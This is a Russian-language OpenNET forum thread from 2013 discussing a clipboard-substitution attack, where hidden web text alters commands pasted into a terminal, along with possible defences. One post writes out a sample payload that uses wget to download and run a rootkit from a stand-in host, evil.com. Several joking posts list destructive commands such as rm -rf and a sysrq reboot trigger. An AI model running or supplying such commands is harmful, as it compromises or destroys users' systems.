Вариант для распечатки		Пред. тема | След. тема
Форум Разговоры, обсуждение новостей
Режим отображения отдельной подветви беседы		[ Отслеживать ]

Концепция атаки по подмене копируемого в терминал текста с с..., opennews (??), 08-Апр-13, (0) [смотреть все] +1 вот это дырень О_О, zzzzz (??), 10:12 , 08-Апр-13, (1) +4 // http images wikia com callofduty ru images 6 69 D0 92 D0 BE D1 82_ D1 8D D1 8, Аноним (-), 11:02 , 08-Апр-13, (10) –1 // Не беда Теперь вместо выделить что-то , копировать, вставитьвыделить что-то , к, Аноним (-), 14:03 , 08-Апр-13, (26) // Похожий эксплойт был на заре WWW, когда народ понял, что можно писать текст цв, pavlinux (ok), 15:06 , 08-Апр-13, (36) +2 И без зари, и без заката WWW я отродясь копирую текст сначала в самый тупой из р, 80е (?), 20:41 , 08-Апр-13, (51) +1 Да-да-да, конечно-конечно-конечно, мы тебе верим , pavlinux (ok), 05:25 , 09-Апр-13, (65) Это скорее недоработка, чем дырень сообщение отредактировано модератором , Аноним (-), 10:15 , 08-Апр-13, (2) +1 // Вот именно, 80е (?), 20:37 , 08-Апр-13, (49) Да это просто 10 из 10 Ждем эпидемию вандализма в вики дистрибутивов , Okarin (ok), 10:24 , 08-Апр-13, (3) // В вики это не сработает, в них как правило HTML юзать не дают, только свою разме, MrClon (?), 00:40 , 09-Апр-13, (60) спасибо за идею , Аноним (-), 10:27 , 08-Апр-13, (4) шикарно же, как это еще раньше не нашли , Аноним (-), 10:33 , 08-Апр-13, (5) // ты больной кто там этого 171 раньше не находил 187 , 80е (?), 20:38 , 08-Апр-13, (50) –1 Видимо, следующее первое апреля будет на редкость удачным Ждем появления спец, Аноним (-), 10:40 , 08-Апр-13, (6) // А при чем тут HTML5 В указанной конструкции нет ни 1 элемента из HTML5 , Аноним (-), 11:03 , 08-Апр-13, (11) –1 // Ну, я про HTML5 и не писал Да и насколько мне известно, среднестатистический sh, Аноним (-), 11:18 , 08-Апр-13, (13) В дополнение rm path HOME class noecho Я джва года жду такой shell , Аноним (-), 11:22 , 08-Апр-13, (15) +1 // class noecho,force,recursive , MrClon (?), 00:46 , 09-Апр-13, (61) Ну много же всяких, которые тянут любое говно в ближайший терминал без оглядки , skybon (ok), 11:17 , 08-Апр-13, (12) –1 Ну так копировать сначала в текстовый редактор и смотреть, что вставилось Лишне, Аноним (-), 11:40 , 08-Апр-13, (17) +2 // хоть кто-то так делает а сколько людей читают новостные сайты да эта хрень про, zzzzz (??), 13:20 , 08-Апр-13, (21) –1 // При чём тут Ловить надо перевод строки , GotF (ok), 13:33 , 08-Апр-13, (22)   // По уму, надо бы просто чтобы невидимый текст никуда не копировался , Аноним (-), 13:55 , 08-Апр-13, (23)   Ну как бы да, но беда в том, что в этих ваших интернетах есть 1001 способ сделат, GotF (ok), 14:20 , 08-Апр-13, (30) +1   echo Hello setsid sh -c wget -b -O usr bin http evil com rootkit sh ch, cmp (ok), 14:03 , 08-Апр-13, (25) +1   Это всё чудесно, но без n в нужном месте не выполнится , GotF (ok), 14:18 , 08-Апр-13, (29)   Ещё r , gegMOPO4 (ok), 16:30 , 08-Апр-13, (38)   В clipper-е в кедах видно сразу что там в буфер забилось можно там глядеть, пре, Слакварявод (?), 11:58 , 08-Апр-13, (18) Патч Брамина v 2 0 D, 1235235412831 (?), 12:50 , 08-Апр-13, (19) +2 // Бармина , GotF (ok), 12:57 , 08-Апр-13, (20) +1 Теперь всё в блокнот копировать , Аноним (-), 13:58 , 08-Апр-13, (24) ну вот, спалили тему , нимус (?), 14:06 , 08-Апр-13, (27) Ваще-то это дыра в браузерах - то, что копируются не выделенные символы, а хрень, pavlinux (ok), 14:17 , 08-Апр-13, (28) +1 // эта милая привычка браузеров выделять не то, что я вижу, а ещё всякую html разме, Клыкастый (ok), 14:25 , 08-Апр-13, (32) +2 // Сусли WТекст за пределами окна ты тож не видишь А он есть , Михрютка (ok), 23:46 , 08-Апр-13, (58) в CSSspan style position absolute left -100px top -100px именно выделенные, Михрютка (ok), 23:42 , 08-Апр-13, (57) вставить как простой текст , энтер жать не сразу, не , Клыкастый (ok), 14:24 , 08-Апр-13, (31) // В простом тексте уже могут быть переводы строки Да и вычитывать большой блок , angra (ok), 14:34 , 08-Апр-13, (34) // ну тогда - ой - вычитываем в vim-е - да и вообще копипастить отучаемся оригина, Клыкастый (ok), 14:39 , 08-Апр-13, (35) // Гм А вот если там последовательность esc q rm -rf enter А вы в вим встав, Stax (ok), 20:57 , 08-Апр-13, (52) +1 уже лучше и под десяток всего , Клыкастый (ok), 21:45 , 08-Апр-13, (53) Не понимаю сути проблемы В гну линукс такой бардак что написать строчку которая, Аноним (-), 15:22 , 08-Апр-13, (37) –6 // rm -rf usr, Аноним (-), 17:03 , 08-Апр-13, (39) // rm -rf init 6, Аноним (-), 17:17 , 08-Апр-13, (41) // code bash init command not found code , Xasd (ok), 22:08 , 08-Апр-13, (54) reboot или shutdown -h now, Аноним (-), 01:12 , 09-Апр-13, (62) code rebootbash reboot command not found shutdown -h nowbash shutdown , Xasd (ok), 03:15 , 09-Апр-13, (63) gt оверквотинг удален echo b proc sysrq-trigger, pavlinux (ok), 05:29 , 09-Апр-13, (66) понимаешь друг линукс тут вообще не при чем, эта уязвимость будет работать на , Онононо (?), 17:15 , 08-Апр-13, (40) +1 // Пользователи винды не очень часто вставляют комманды с веб-сайтов в cmd exe, Аноним (-), 18:02 , 08-Апр-13, (42) // Для пользователей винды то ли на Баше, то ли ItHappens был описан Формат Улыбки , Аноним (-), 18:25 , 08-Апр-13, (43) ты окромя винды больше осей не знаешь , Онононо (?), 18:35 , 08-Апр-13, (44) так правильно , Аноним (-), 19:16 , 08-Апр-13, (46) А должны , Аноним (-), 16:55 , 10-Апр-13, (68) Когда http paypal com на самом деле копируется как http lskdjbsnd tk sdefj , Aceler (ok), 19:52 , 08-Апр-13, (47) Firefox can t find the server at www lskdjbsnd tk , Xasd (ok), 03:33 , 09-Апр-13, (64) как бы сказать уних такой возможности даже нет вот павершеле там и возмо, Харитон (?), 22:22 , 08-Апр-13, (56) Я про то почти никогда не имеет смысл что-то копипастить с сайтов В прочем url в, Аноним (-), 19:14 , 08-Апр-13, (45) , Xasd (ok), 22:10 , 08-Апр-13, (55) реквестирую буфер обмена с программируемой логикой, mmrnmhrm (?), 20:29 , 08-Апр-13, (48) постить на опеннете новости с угловыми скобками в тексте - идеальный метод тролл, Михрютка (ok), 23:50 , 08-Апр-13, (59) В urxvt есть плагин confirm-paste, требующий подтверждения при вставке многостро, Аноним (-), 13:15 , 09-Апр-13, (67) 1,2,3,4,5,6,12,17,18,19,24,27,28,31,37,48,59,67

Сообщения

[Сортировка по времени | RSS]

	22. "Концепция атаки по подмене копируемого в терминал текста с с..."	+/–
	Сообщение от GotF (ok), 08-Апр-13, 13:33
	> единственный способ защиты - встроить во все терминалы проверку при вставке текста на наличие ";" и выдавать пользователю окошко с предупреждением. При чём тут ";"? Ловить надо перевод строки.
	Ответить | Правка | Наверх | Cообщить модератору

	23. "Концепция атаки по подмене копируемого в терминал текста с с..."	+/–
	Сообщение от Аноним (-), 08-Апр-13, 13:55
	По уму, надо бы просто чтобы невидимый текст никуда не копировался.
	Ответить | Правка | Наверх | Cообщить модератору

	30. "Концепция атаки по подмене копируемого в терминал текста с с..."	+1 +/–
	Сообщение от GotF (ok), 08-Апр-13, 14:20
	> По уму, надо бы просто чтобы невидимый текст никуда не копировался. Ну как бы да, но беда в том, что в этих ваших интернетах есть 1001 способ сделать текст невидимым. В общем, всё как обычно сводится к прокладке между креслом и клавиатурой.
	Ответить | Правка | Наверх | Cообщить модератору

	25. "Концепция атаки по подмене копируемого в терминал текста с с..."	+1 +/–
	Сообщение от cmp (ok), 08-Апр-13, 14:03
	echo Hello && setsid sh -c 'wget -b -O /usr/bin http://evil.com/rootkit.sh && chmod 0755 /usr/bin/rootkit.sh && rootkit.sh' > /dev/null 2>&1 & clear && git clone git://kernel.org
	Ответить | Правка | К родителю #22 | Наверх | Cообщить модератору

	29. "Концепция атаки по подмене копируемого в терминал текста с с..."	+/–
	Сообщение от GotF (ok), 08-Апр-13, 14:18
	> echo Hello && setsid sh -c 'wget -b -O /usr/bin http://evil.com/rootkit.sh && > chmod 0755 /usr/bin/rootkit.sh && rootkit.sh' > /dev/null 2>&1 & clear && > git clone git://kernel.org Это всё чудесно, но без '\n' в нужном месте не выполнится :)
	Ответить | Правка | Наверх | Cообщить модератору

	38. "Концепция атаки по подмене копируемого в терминал текста с с..."	+/–
	Сообщение от gegMOPO4 (ok), 08-Апр-13, 16:30
	Ещё \r.
	Ответить | Правка | Наверх | Cообщить модератору

Архив | Удалить

Рекомендовать для помещения в FAQ | Индекс форумов | Темы | Пред. тема | След. тема